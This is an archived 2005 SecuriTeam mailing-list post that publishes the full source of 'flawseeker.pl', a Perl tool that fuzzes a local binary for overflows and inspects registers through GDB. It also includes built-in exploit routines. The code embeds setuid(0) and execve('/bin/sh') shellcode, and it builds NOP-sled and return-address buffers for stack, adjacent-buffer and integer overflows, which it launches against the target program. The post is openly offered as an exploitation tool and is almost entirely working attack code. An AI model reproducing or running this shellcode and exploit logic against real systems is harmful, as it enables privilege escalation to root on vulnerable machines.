[TOOL] Flawseeker - Runtime Address Overflow Seeker

From: SecuriTeam (support_at_securiteam.com)
Date: 05/25/05

  • Next message: SecuriTeam: "[UNIX] net-snmp Fixproc Race Condition"
    To: list@securiteam.com
    Date: 25 May 2005 11:38:17 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Flawseeker - Runtime Address Overflow Seeker
    ------------------------------------------------------------------------

    SUMMARY

    DETAILS

    Code:
    #!/usr/bin/perl
    #
    # flawseeker.pl v3.1 (c) 2005 written by Carlos Carvalho <nuTshell>
    # (renamed from old fl0w-s33ker.pl)
    #
    # Description: .Binary debugger
    # .Overflow tracker
    # .Exploitation tool
    #
    # flawseeker use GDB interaction to get
    # register addresses at overflow time.
    #
    # Exploit function available for
    # type 1 (stack overflow) ,
    # type 2 (adjacent memory overflow) and
    # type 4 (integer overflow) only.
    #
    # Perl modules Devel::GDB and Switch
    # are required. Install them from cpan.
    #
    # "This tool has been written for
    # educational purposes and it is not
    # possible (at least for me) to code
    # similar tool that can serve for *ANY*
    # kind of vulnerability and the reason is that
    # there are *MANY* exploitation methods
    # out there buddy."
    #
    # In doubt make questions
    # mailing me becouse i wrote no README.
    #
    # Try: ./flawseeker.pl -h
    #
    # Contact: -=carloslack at gmail dot com=-
    #
    # Love goes to: my girl Karina Gonzalez. Really love you baby!
    #
    # Greetz goes to: eniac, hexdump, Shorgen, kid gonzalez, Codak, drk
    # ttaranto, setnf, Acid-Warz, estevao, F-117, lewney
    #
    # DON`T CHANGE ANYTHING BELOW HERE IF
    # YOU DON`T KNOW WHAT YOU ARE DOING! (and often we don`t)
    #
    use strict;
    use Switch;
    use Devel::GDB;
    use Term::ANSIColor;
     
    my $version = "flawseeker.pl v3.1 by nutshell:\nBinary debugger\nOverflow
    tracker\nExploitation tool";
     
    my $shellcode_01 = #setuid 0 by nuTshell 10 bytes
                       "\x31\xc0".# xor %eax,%eax
       "\xb0\x46".# mov $0x46,%al
       "\x31\xdb".# xor %ebx,%ebx
       "\x31\xc9".# xor %ecx,%ecx
       "\xcd\x80".# int $0x80
                       #execve /bin/sh 24 bytes
       "\x31\xc0\x50\x68\x6e\x2f\x73\x68".
       "\x68\x2f\x2f\x62\x69\x89\xe3\x99".
       "\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
     
    my $string = "\x41";
    my $buff = "$string";
    my $space = "\x20";
    my $sigsegv = 35584;
    my $barloop =0;
    my $bar = 0;
    my $i = 0;
    my $x = 0;
    my $simple = 0;
    my $counter = 1;
    my $debugeipcounter = 0;
    my $intcounter = -1073746000;
    my $intcounterend = 1073746000;
    my $inteip = "0xbfffff*";
    my $logfile01 = "flaw_logW.log";
    my $logfile02 = "flaw_log.log";
    my $logging = "Off";
    my $clear = `/usr/bin/clear`;
     
    my $ret = "";
    my $firstsigsegv = "";
    my $gdb = "";
    my $blimit= "";
    my $bugfile = "";
    my $logfile = "";
    my $logname = "";
    my $adjstring = "";
    my $adjlength = "";
    my $output = "";
    my $option = "";
    my $option = "";
    my $HACK = "";
    my $envHACK = "";
    my $execargs = "";
    my $debug = "";
    my $debugeip = "";
    my $debugeipcounterlmt = "";
    my $debugeipinput = "";
    my $enter = "";
    my $counterlmt = "";
    my $date = "";
    my $filename = "";
    my $cmdargs = "";
    my $bufferlimit = "";
    my $ownopt = "";
    my $intergerjoin = "";
    my $adjacentbuff = "";
    my $errlog = "";
    my $status = "";
    my $type = "";
    my $CMD = "";
    my $buffer = "";
    my $return_addr = "";
    my $nret = "";
     
    sub exploit_stack() {

    $return_addr = 0xbffffffa - length($shellcode_01) - length($filename);
    $nret = pack('l', ($return_addr));
    $x = $ret - 4;
    for ($i = 0 ; $i < $x ; $i++) { $buffer .= "\x90" };
    $buffer .= "$nret"x6;
    local($ENV{'ENTER_SANDMAN'}) = $shellcode_01;
    print("\nShellcode address: 0x", sprintf('%lx',$return_addr), "\n");
    system("$filename $CMD $buffer");

    }

    sub exploit_adjacent () {

    $return_addr = 0xbffffffa - length($shellcode_01) - length($filename);
    $nret = pack('l', ($return_addr));
    $x = $ret - 4;
    for ($i = 0 ; $i < $x ; $i++) { $buffer .= "\x90" };
    $buffer .= "$nret"x6;
    local($ENV{'ENTER_SANDMAN'}) = $shellcode_01;
    print("\nShellcode address: 0x", sprintf('%lx',$return_addr), "\n");
    system("$bugfile $CMD $adjstring $buffer");

    }

    sub exploit_integer() {

    $buffer = "\x90"x5000;
    $buffer .= $shellcode_01;
    local($ENV{"HACK"}) = $buffer;
    system("$filename $CMD $intcounter");

    }
     
    sub info1() {
    printf <<EOF
           Filling up $bugfile`s buffer with 0x41 (A`s)
           until we get SIGSEGV, if progress bar stop try ctrl+c.
           Wait...
    EOF
    }
     
    sub info2() {
    printf <<EOF
           L4m0 integer overflow test.
           Starting from $intcounter to $intcounterend.
           We must have $inteip as \$eip address.
           Wait...Go get a coffee :]
    EOF
    }
     
    sub log1 () {
           open(LOGCOMOM, ">>$logfile02") or die "$!\n";
           printf(LOGCOMOM "\n -= $date =- \n");
           printf(LOGCOMOM " Tested file: $bugfile\n");
           printf(LOGCOMOM " Vulnerable type: $type\n");
           printf(LOGCOMOM "First SIGSEGV occurs at $firstsigsegv bytes.\n");
           printf(LOGCOMOM "At $ret bytes:\n");
           printf(LOGCOMOM "$output\n");
           close(LOGCOMOM);
           printf("Log saved!\n");
           exit(0);
     
    }

    sub log2() {
            open(LOGCOMOM, ">>$logfile02") or die "$!\n";
            printf(LOGCOMOM "\n -= $date =- \n");
            printf(LOGCOMOM " Tested file: $bugfile\n");
            printf(LOGCOMOM " Vulnerable type: $type\n");
            printf(LOGCOMOM "$debugeip");
            printf(LOGCOMOM "Got \$esp address at value $intcounter\n");
            close(LOGCOMOM);
            printf("Log saved!\n");
            exit(0);
     
    }

    sub log3() {
     open(LOGCOMOM, ">>$logfile02") or die "$!\n";
     printf(LOGCOMOM "\n -= $date =-\n");
     printf(LOGCOMOM " Tested file: $bugfile\n");
          printf(LOGCOMOM " Vulnerable type: $type\n");
     printf(LOGCOMOM "SIGSEGV occurs at $ret bytes.\n");
     close(LOGCOMOM);
     printf("Log saved!\n");
    }

    sub execmenu() {
    printf <<EOF
    -= flawseeker.pl v3.1 =-
    -= Written by nuTshell =-
     
    Logging turned $logging
    [1] Filename [ $filename ]
    [2] Type [ $type ]
    [3] Command line arguments [ $cmdargs ]
    [4] Buffer Limit, default 1500 [ $bufferlimit ]
    [5] Adjacent buffer [ $adjacentbuff ]
    [6] Environment variable name [ $envHACK ]
    [7] Start:End integer value [ $intergerjoin ]
     
    EOF
    }

    sub typemenu() {
    printf <<EOF
    Options:
    1-> simple test *exploitation available*
    2-> adjacent test *exploitation available*
    3-> environment test (NO DEBUG)
    4-> integer overflow test *exploitation available*
    EOF
    }

    sub menu () {
    printf <<EOF
       +-+-+-+-+-+-+-+-+-+-+-+-+-+- flawseeker.pl +-+-+-+-+-+-+-+-+-+-+-+-+-+
             Written by nuTshell -= carloslack AT gmail DOT com =-
     
       Usage: $0 <ENTER> | [-h|-v|-lwo|-lo|-lall]
       <ENTER> [run program with no args]
       -h [this menu]
       -v [version]
       -lw [log WeIrD output]
       -lo [log results output]
       -lall [log WeIrD & results output]
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    EOF
    }
     
    sub printbar() {
    $bar = $barloop + 1;
    $barloop++;
    if ($bar == 20) {printf("-") ; $bar = 0 ; $barloop = 0};
    }
     
    sub cmdarg () {
    printf("Enter as many arguments as needed.\n");
    printf("Each arg must be followed by <ENTER>\n");
    printf("To finish just type \"exit\":\n");
    chomp($CMD = <STDIN>) ;
    $CMD .= $space;
     while ($CMD !~ /exit/) {
                   chomp($CMD .= <STDIN>) ;
                   $CMD .= $space;
     }
    $CMD =~ s/exit//g;
    $cmdargs = $CMD;
    printf("$clear\n");
    &execmenu;
    }
     
    if ("$ARGV[0]" eq "-h") {
     &menu and exit(0)
    }

    if ("$ARGV[0]" eq "-v") {
     printf color("bold");
     printf "$version\n";
     printf color("reset");
     exit(0);
    }

    if ("$ARGV[0]" eq "-lo") {
     $logging = "On"
    }

    if ("$ARGV[0]" eq "-lw" || "$ARGV[0]" eq "-lall") {
          $logfile = ">> $logfile01 2>&1";
          $logname = $logfile;
          $logname =~ s/2>&1//g;
          printf color("bold");
          printf("\nWARNING:$space");
          printf color("reset");
          printf("Logging STDERR can generate\n");
          printf("big logfile depending on your test!\n");
          printf("Press any key\n\n");
          $logging = "On";
          $enter = <STDIN>;
          printf("$clear\n");
    } else {$logfile = ">/dev/null 2>&1"}
     
    &execmenu;
    printf("Filename> ");
    chomp($bugfile = <STDIN>) ;

    if (! -f $bugfile) {
     die "$bugfile $!\n"
    }

    $filename = $bugfile;
    printf("$clear\n");
    &execmenu;
    &typemenu;
    printf("Type [1|2|3|4]> ");
    chomp($option = <STDIN>) ;

    if ($option <= 0 || $option >= 5) {
     die "Invalid option\n"
    }

    $type = $option;
    printf("$clear\n");
    &execmenu;

    switch($option) {
            case "1" { printf("Command line arguments y/N> ");
          chomp($execargs = <STDIN>) ;
          if ("$execargs" eq "y") {
           &cmdarg
          }
         }
     
     case "2" { printf("Command line arguments y/N> ");
         chomp($execargs = <STDIN>) ;
         
         if ("$execargs" eq "y") {
          &cmdarg
         }
         
         printf("Adjacent buffer> ");
         chomp($adjlength = <STDIN>) ;
                $adjacentbuff = $adjlength;
                printf("$clear\n");
                &execmenu;
     
         if(!$adjlength) {
          printf("Adjacent fixed buffer length REQUIRED! Try again.\n") ;
          exit(1)
         }
     
         $adjstring = "$string"x$adjlength;
         }
     
     case "3" { printf("Command line arguments y/N> ");
         chomp($execargs = <STDIN>) ;
     
         if ("$execargs" eq "y") {
          &cmdarg
         }
     
         printf("Environment variable name> ");
         chomp($HACK = <STDIN>) ;
                       
         if(!$HACK) {
          die "Environment name required!\n"
         }
         
         $envHACK = $HACK;
                printf("$clear\n");
         &execmenu;
        }
            case "4" { printf("Command line arguments y/N> ");
         chomp($execargs = <STDIN>);
     
         if ("$execargs" eq "y") {
          &cmdarg
         }
         }
    }
     
    if ("$option" ne "4") {
     printf("Buffer Limit [1500]> ");
     chomp($blimit = <STDIN>) ;
            $bufferlimit = $blimit;
     printf("$clear\n");
     &execmenu;
     if (!$blimit) {
      $blimit = 1500 ;
      $bufferlimit = $blimit;
      printf("$clear\n");
      &execmenu;
     }

    } else {
     $intergerjoin = join(":",$intcounter,$intcounterend);
     printf("$clear\n");
     &execmenu;
    }
     
    if (!$bugfile || !$option) {
     &menu and exit(1)
    }

    if ("$option" eq "3") {
     if (!$HACK) {
      &menu and exit(0)
     }
    }
     
    sub exec() {
     
    if ("$option" eq "1") {
     $status = system("$bugfile $CMD $buff $logfile")
    }
     
    if ("$option" eq "2") {
     $status = system("$bugfile $CMD $adjstring $buff $logfile")
    }
     
    if ("$option" eq "3") {
     local($ENV{"$HACK"}) = $buff ;
     $status = system("$bugfile $CMD $logfile")
    }
     
    }
     
     
    sub run1 () {
    &info1 ;
    printf("[");
    while ($counter <= $blimit) {
     
    &exec;
    &printbar;
     
    $status != $sigsegv or $ret = $counter + 4 and printf("> Done!\n$bugfile
    is vulnerable at $counter bytes!\n") and last;
     
      $buff .= "$string";
      $counter++;
    }
    if ($counter > $blimit) {
      printf("> Done!\n$bugfile is not vulnerable at least until $blimit
    bytes\n");
    }

    }

    if ("$option" eq "1" || "$option" eq "2" || "$option" eq "3" ) {
     &run1
    }
     
    sub run2 () {
    &info2;
     
    $gdb = new Devel::GDB (-file => $bugfile ) ;
     
    for ($intcounter=$intcounter;$intcounter<=$intcounterend;$intcounter+=20)
    {
    $gdb -> get ( "r $CMD $intcounter" );
    $debugeip = $gdb -> get ( "i r eip" );
     
    if($debugeip =~ /$inteip/) {
     printf("[--->Done!\n");
            $debugeip = $gdb -> get ( "i r esp ebp esi edi eip");
     printf("$debugeip");
     printf("Got return address at value: $intcounter\n");
     last;
    }
    if($intcounter == $intcounterend) {
     printf("Sorry, no results.\n") ;
     exit(0)
    }
    }
    }
     
    switch($option) {
     
    case "1" {
     
      if($status == $sigsegv) {printf("Debug n/Y> ");
      chomp($debug = <STDIN>) ;
      if("$debug" eq "n") {exit(0)}}
     
      $gdb = new Devel::GDB (-file => $bugfile ) ;
      $debugeip = $gdb -> get ( "i r eip" );
      if($status != $sigsegv) {exit(1)}
      if($debugeip =~ /0x42424242/) {
        printf("\n[!] Status at $ret bytes:\n\n");
      }
      $buff .= "\x42\x42\x42\x42";
      $firstsigsegv = (length($buff) - 4);
      $gdb -> get ( "r $CMD $buff" );
      $debugeip = $gdb -> get ( "i r eip" );
      if($debugeip !~ /0x42424242/) {
            printf("\$eip wasn`t overwritten.");
            printf("\n[!] Status at $ret bytes:\n\n");
            printf("$debugeip\n");
            printf("Brute force to guess correct adresses n/Y> ");
            chomp($debugeipinput = <STDIN>) ;
            if("$debugeipinput" ne "n") {
                 printf("Max bytes size to increase buffer [20]> ");
          chomp($debugeipcounterlmt = <STDIN>) ;
                 if(!$debugeipcounterlmt) {$counterlmt = 20} else {$counterlmt
    = $debugeipcounterlmt}
                 while($debugeipcounter <= $counterlmt) {
           $buff .= "\x42";
                         $gdb -> get ( "r $CMD $buff" );
                         $debugeip = $gdb -> get ( "i r eip" );
                         $ret++;
           $debugeipcounter++;
                         $debugeip !~ /0x42424242/ or last ;
                         }
                   }
       }
     
      $output = $gdb -> get ( "i r" );
      printf("\n[!] Status at $ret bytes:\n\n");
      printf("$output\n");
       if ($debugeip =~ /0x42424242/) {
       printf("Hmmm \$eip = 0x42424242! Hack it y/N>");
       chomp($ownopt = <STDIN>) ;
      &exploit_stack if ($ownopt eq "y");
       }
     
    }
     
    case "2" {
     
       if($status == $sigsegv) {printf("Debug? [n/Y]:\n"); printf("> ");
       chomp($debug = <STDIN>) ;
       if("$debug" eq "n") {exit(0)}}
       $gdb = new Devel::GDB (-file => $bugfile ) ;
       $debugeip = $gdb -> get ( "i r eip" );
       if($status != $sigsegv) {exit(1)}
       if($debugeip =~ /0x42424242/) {
          printf("\n[!] Status at $ret bytes:\n\n");
       }
       $buff .= "\x42\x42\x42\x42";
       $firstsigsegv = (length($buff) - 4);
       $gdb -> get ( "r $CMD $adjstring $buff" );
       $debugeip = $gdb -> get ( "i r eip" );
       if($debugeip !~ /0x42424242/) {
              printf("\$eip wasn`t overwritten.");
              printf("\n[!] Status at $ret bytes:\n\n");
              printf("$debugeip\n");
              printf("Brute force to guess correct adresses n/Y> ");
       chomp($debugeipinput = <STDIN>) ;
       if("$debugeipinput" ne "n") {
      printf("Max bytes size to increase buffer [20]> ");
      chomp($debugeipcounterlmt = <STDIN>);
      if(!$debugeipcounterlmt) {$counterlmt = 19} else {$counterlmt =
    $debugeipcounterlmt}
      while($debugeipcounter <= $counterlmt) {
       $buff .= "\x42";
       $gdb -> get ( "r $CMD $adjstring $buff" );
       $debugeip = $gdb -> get ( "i r eip" );
       $ret++;
              $debugeipcounter++;
       $debugeip !~ /0x42424242/ or last ;
                     }
                }
       }
       $output = $gdb -> get ( "i r" );
       printf("\n[!] Status at $ret bytes:\n\n");
       printf("$output\n");
       if ($debugeip =~ /0x42424242/) {
       printf("Hmmm \$eip = 0x42424242! Hack it y/N>");
       chomp($ownopt = <STDIN>) ;
      &exploit_adjacent if ($ownopt eq "y");
       }
          }
     
    case "3" {
     
       printf("Warning: This implementation can`t support env-method until
    now.\n");
       if ($status == $sigsegv) {
       printf("With $ret bytes maybe is possible to control \$eip
    register.\n")
             }
         }
     
    case "4" {
     &run2;
     if($debugeip =~ /$inteip/) {
        printf("Hmmm 0xbfffff*! Hack it y/N>");
        chomp($ownopt = <STDIN>) ;
        &exploit_integer if ($ownopt eq "y");
     
     }
          }
    }
     
    if("$ARGV[0]" eq "-lo" || "$ARGV[0]" eq "-lall") {

     $date = localtime();
     
    switch($option) {
           case "1" {&log1}
           case "2" {&log1}
           case "3" {&log3}
           case "4" {&log2}
     }
     
    }
    #eof

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:h4sh@globo.com> Carlos
    Carvalho.
    To keep updated with the tool visit the project's homepage at:
    <http://nutshell.gotfault.net/tools/flawseeker/>
    http://nutshell.gotfault.net/tools/flawseeker/

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] net-snmp Fixproc Race Condition"

    Relevant Pages

    • [TOOL] Multimap - Multithreaded Wrapper for NMap
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... concurrent NMap scans and speed up the scan of large networks. ... Writes the results to an HTML file ... sub getDate { ...
      (Securiteam)
    • [NEWS] Apple OSX Fetchmail Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Apple OSX Fetchmail Buffer Overflow ... alarm $timeout; ... sub ERR ...
      (Securiteam)
    • [EXPL] I-Mall Commerce i-mall.cgi Arbitrary Command Execution (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A remote command execution vulnerability has been discovered in the I-Mall ... sub intro { ... chomp $host; ...
      (Securiteam)
    • [TOOL] WebRoot - Web Server Brute Forcer
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... CIRT.DK WebRoot is a Webserver auditing tools, ... # cpan> install Bundle::LWP ... sub ChkUpdates ...
      (Securiteam)
    • Re: ANSI colors and the space they take.
      ... My problem here is that the above results in a messy printf. ... colorcoding should be passed on to the sub routine without adding arguments to ... accommodate character sequences that render with zero width. ...
      (comp.lang.perl.misc)